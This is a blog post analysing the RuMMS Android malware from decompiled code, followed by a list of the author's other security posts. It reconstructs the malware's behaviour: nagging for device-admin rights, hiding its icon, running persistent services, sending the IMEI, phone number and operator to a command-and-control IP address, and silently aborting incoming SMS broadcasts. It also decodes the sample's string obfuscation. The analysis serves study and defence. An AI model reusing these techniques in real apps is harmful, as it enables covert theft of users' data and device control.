Diving into ruMMS - Android malware analysis

RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye about this malware. In this analysis, I’ll try to give an overview of malicious behaviors of the malware, and techniques it uses.

First steps

First bad news: the code has been obfuscated: names don’t mean anything, and some strings are encrypted … MainActivity is the only class with a “normal” name. Let’s analyze it little by little:

main

Knowing that o.q is as follows:

public static void q(Context paramContext, Intent paramIntent){
	paramContext.startService(paramIntent);
}

we know that a service named Tb is started. Secondly, because of the usage of ComponentName, my first guess as I saw this routine was that the app was requesting admin privileges right at the beginning. And it was a correct guess, because Aa class is the DeviceAdminReceiver.

screen_admin

As shown on the next picture, the app will ask for admin privileges as long as they are not granted. Indeed, the code 100 is used to filter the Activity’s calling code and the routine q is called again if the code is not equal to -1:

admin_ask

If privileges are granted, the routine o.q is then used to remove the app from the launcher:

disable_comp

and a new Service named Ad is started.

Ad Service

This class only contains:

ad_service

Probably a way to remain always active…

### Tb service

tb_service

Once again, the service is restarted immediately after being destroyed, and in onCreate a new Thread is started. By looking at the class ax, we can actually see that the routine ax.run only calls postDelayed on the Handler member of Tb. Then, it could written as follows:

new Thread(new Runnable(){
	public void run(){
		Tb.handler.postDelayed(Tb.runnable, 0);
	}
}).start();

The Runnable is an instance of the class av, having this routine run:

av_thread

The array w contains strings encrypted with routines q(String) and q(char[]): private static final String[] w = { q(q("GSqN")), q(q("V[")), q(q("Z\\n")), q(q("F@q")), q(q("Z_")), q(q("\\\\x")), q(q("Z\\nV")), q(q("G[pG")), q(q("lBxP")), q(q("ZV")), q(q("l[sQ\007")), q(q("Z\\{M")), q(q("VZk")) };

I will not get into details of the algorithm here (see last section), so here are the decrypted strings:

0: tall  
1: ei  
2: ins  
3: url  
4: im  
5: one  
6: inst  
7: time  
8: _per  
9: id  
10: _inst  
11: info  
12: ehv  

And then, the code could be written as follows, according to what JD-GUI shows:

public void run(){
	if (!this.q.w.contains("one_inst")){
		SharedPreferences.Editor editor = this.q.w.edit();
		editor.putInt("one_inst", 1);
		editor.putString("url", this.q.getApplicationContext().getString(R.string.URL));
		editor.putString("inst", "1");
		editor.putLong("time_per_ehv", 100L);
		//o.t(Context) returns the device ID
		editor.putString("id", this.q.getApplicationContext().getString(R.string.PREFIX_ID) + o.t(this.q.getApplicationContext()));
		editor.putString("imei", o.t(this.q.getApplicationContext()));
		editor.apply();
	}
	if (this.q.w.getString("inst", null) == "1") {
		new v(this.q.getApplicationContext(), new ArrayList(), "install").execute(new String[] { this.q.w.getString("url", null) });
	}
	else{
		new v(this.q.getApplicationContext(), new ArrayList(), "info").execute(new String[] { this.q.w.getString("url", null) });
	}
	Tb.q(this.q).postDelayed(this, bo.q);      
}

knowing that strings.xml contains:

<string name="app_name">Infinite Flight</string>
<string name="hello_world">Hello world!</string>
<string name="action_settings">Settings</string>
<string name="PREFS_NAME">AppPrefs</string>
<string name="PREFIX_ID">0080</string>
<string name="URL">http://37.1.207.31/api/?id=7</string>

We can then suppose that the malware will try to exfiltrate device informations to a C&C server.

To summarize, the app starts by asking admin privileges continuously, and then starts “unkillable” Services, one saving data in SharedPreferences for a future use.

Private data theft

The routine run we just analyzed ends by creating a new v, and the constructor takes as argument a string which was “install” or “info”, which is quite suspicious. This class extends AsyncTask, that’s the reason why execute was called on newly created objects. In the decompiled class, I did’t found the routine doInBackground, however, there were three protected methods: onPreExecute(), void:q(JSONObject), and JSONObject:q(String[]). It was then obvious that doInBackground was the third one. This routine only contains this:

protected JSONObject q(String[] paramArrayOfString){
	return q(paramArrayOfString[q.j]);
}

where q.j equals 0 as one might expect. The routine q is as follows:

asynctask_doinbg

Once again, strings are encrypted and stored in the array t = { q(e("/\b8\021")), q(e("+\003*\026+\"")), q(e("/\002")), q(e("/\b-\n%*\n")), q(e("\"\007*\037u")), q(e("%\t0\n%%\022\001\027 f[~A")), q(e("2\0173\033")), q(e("%\t3\023")), q(e("\031\023,\022")), q(e("(\0073\033")), q(e("/\020;\f=")), q(e("\031\025;\020 ")), q(e("'\b:")), q(e("lT")), q(e("3\025")), q(e("(\003)")), q(e("_gG}_")), q(e("\031\026;\f")), q(e("2\003&\n")), q(e("\"\0032")), q(e("q_nN")), q(e("#\016(")), q(e("wL")), q(e("/\b-\n")), q(e("'\n2!04\023;")), q(e("3\0242")), q(e("\031\b+\023&#\024")), q(e("5\002")), q(e("\031\017:")), q(e("%\0072\022")), q(e("'\004")), q(e("+\t:\033(")), q(e("0\003,\r-)\b")), q(e(")\025")), q(e("#\017")), q(e("/\013")), q(e("%\t+\02004\037"))

Once decrypted, we have:

0: info  
1: method  
2: id  
3: install  
4: data1  
5: contact_id = ?  
6: time  
7: comm  
8: _url  
9: name  
10: ivery  
11: _send  
12: and  
13: *2  
14: us  
15: new  
16: 9999999  
17: _per  
18: text  
19: del  
20: 7900  
21: ehv  
22: 1*  
23: inst  
24: all_true  
25: url  
26: _number  
27: sd  
28: _id  
29: call  
30: ab  
31: model  
32: version  
33: os
34: ei  
35: im  
36: country

We can then rewrite the code in this way:

public JSONObject q(String paramString){
	JSONObject jsonObj = null;
	r localr = new r();
	this.e.add(new BasicNameValuePair("method", this.r)); //the string given in the constructor
	this.e.add(new BasicNameValuePair("id", this.w.getString("id", null))); //this.w: SharedPreferences
	if (this.r.startsWith("install")) {
		return localr.q(paramString, q.Q, q());
	}
	else if (this.r.startsWith("info") || this.r.startsWith(q.d)){
		return localr.q(paramString, q.Q, this.e);
	}
	return jsonObj;
}

knowing that

  • q.Q = "POST" (decrypted)
  • q.d = "sms" (decrypted),
  • r is a class used to send HTTP request (which is consistent with q.Q)
  • and finally, the list returned by q() contains these values (once decrypted):
    public List q(){
    	this.e.add(new BasicNameValuePair("operator", o.o(q)));	//param q : Context
    	this.e.add(new BasicNameValuePair("model", Build.MODEL));
    	this.e.add(new BasicNameValuePair("os", Build.VERSION.RELEASE));
    	this.e.add(new BasicNameValuePair("phone", o.y(q)));
    	this.e.add(new BasicNameValuePair("imei" , o.t(q)));
    	this.e.add(new BasicNameValuePair("version", bo.w));
    	this.e.add(new BasicNameValuePair("country", o.w(q)));
    	return this.e;
    }
    

The routine onPostExecute, takes as parameter a JSONObject containg C&C server’s response, and processes this response. This response contains commands, compared against concatenated strings, based on decrypted ones listed above. To conclude, we have here the way used by the malware to communicate with the C&C server. In doInBackground, the malware sends a query in order to know what to do, and the C&C server answers with commands, asking the malware to send SMS, make calls, steal data, etc.

## SMS receiver

But that’s not all! In the Manifest, a SMS receiver is registered (class Ma). Unfortunately, the routine onReceive was not properly decompiled, but I found these interesting lines:

//   237: getfield 117	org/zxformat/Ma:e	Landroid/content/SharedPreferences;
//   240: getstatic 31	org/zxformat/Ma:r	[Ljava/lang/String;
//   243: iconst_1
//   244: aaload
//   245: aconst_null
//   246: invokeinterface 192 3 0
//   251: aastore
//   252: invokevirtual 196	org/zxformat/v:execute	([Ljava/lang/Object;)Landroid/os/AsyncTask;
//   255: pop
//   256: iload 5
//   258: ifne +104 -> 362
//   261: aload_0
//   262: aload_1
//   263: invokespecial 198	org/zxformat/Ma:w	(Landroid/content/Context;)V

First, we can see that the AsyncTask named v we just analyzed is called here, and we can suppose that received SMS are exfiltrated in this way. The second thing to note is the call to the routine w, calling another routine q:

private void w(Context paramContext){
	try{
		q(paramContext);
	}
	catch (Exception paramContext) {}
}

protected boolean q(Context paramContext) throws Exception{
	try{
		Class.forName(q.x + r[3] + q.r + r[2]).getDeclaredMethod(q.h + q.r, new Class[0]).invoke(this, new Object[0]);
		return true;
	}
	catch (Exception e){
		throw e;
	}
}

Once decrypted, the array r contains:

0: pdus
1: url
2: Receiver
3: .content.

and q.x = "android", q.r = "Broadcast", and q.h = "abort", and then we have:

Class.forName("android.content.BroadcastReceiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);

## A few words about strings encryption

In many classes, strings are encrypted using two routines. The first one only affects the first byte, and the second one XOR’s each byte with 5 different constants. Let’s take as example the class q, containing malware’s constants:

enc1

which can be written in this way in Python:

def first(paramString):
	if len(paramString) < 2:
		paramString = chr(ord(paramString[0])^0x44)+paramString[1:]
	return paramString

and:

enc2

or in Python:

def xor(paramArrayOfChar):
	if (len(paramArrayOfChar) == 0):
		return ""
	string = ""
	for j in range(len(paramArrayOfChar)):
		c = j % 5
		i = -1
		if c == 0:
			i = 38
		elif c == 1:
			i = 85
		elif c == 2:
			i = 82
		elif c == 3:
			i = 20
		else:
			i = 108
		string += chr(i ^ ord(paramArrayOfChar[j]));
	return string

One has then to change the constant in the first routine and the values for i in the second one, and call xor(first(...))

RuMMS is a big family of malwares, and some classes of this sample seem to be useless. Indeed, since app icon is disabled, the author’s intention was not to make a usable app, and then, many features of this malware sample are probably unused.

Malware details and resources:

2024

Exploiting CVE-2024-27096

7 minute read

Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...

Back to Top ↑

2023

From SSRF to authentication bypass

4 minute read

I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...

Hidden in plain sight - Part 2

10 minute read

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...

I want to talk to your managed code

12 minute read

TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...

Qakbot JScript dropper analysis

11 minute read

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...

CVE-2023-3033

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

CVE-2023-3032

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

CVE-2023-3031

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

FuckFastCGI made simpler

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...

PHP .user.ini risks

6 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...

PHP open_basedir bypass

2 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

2020

Self modifying C program - Polymorphic

19 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑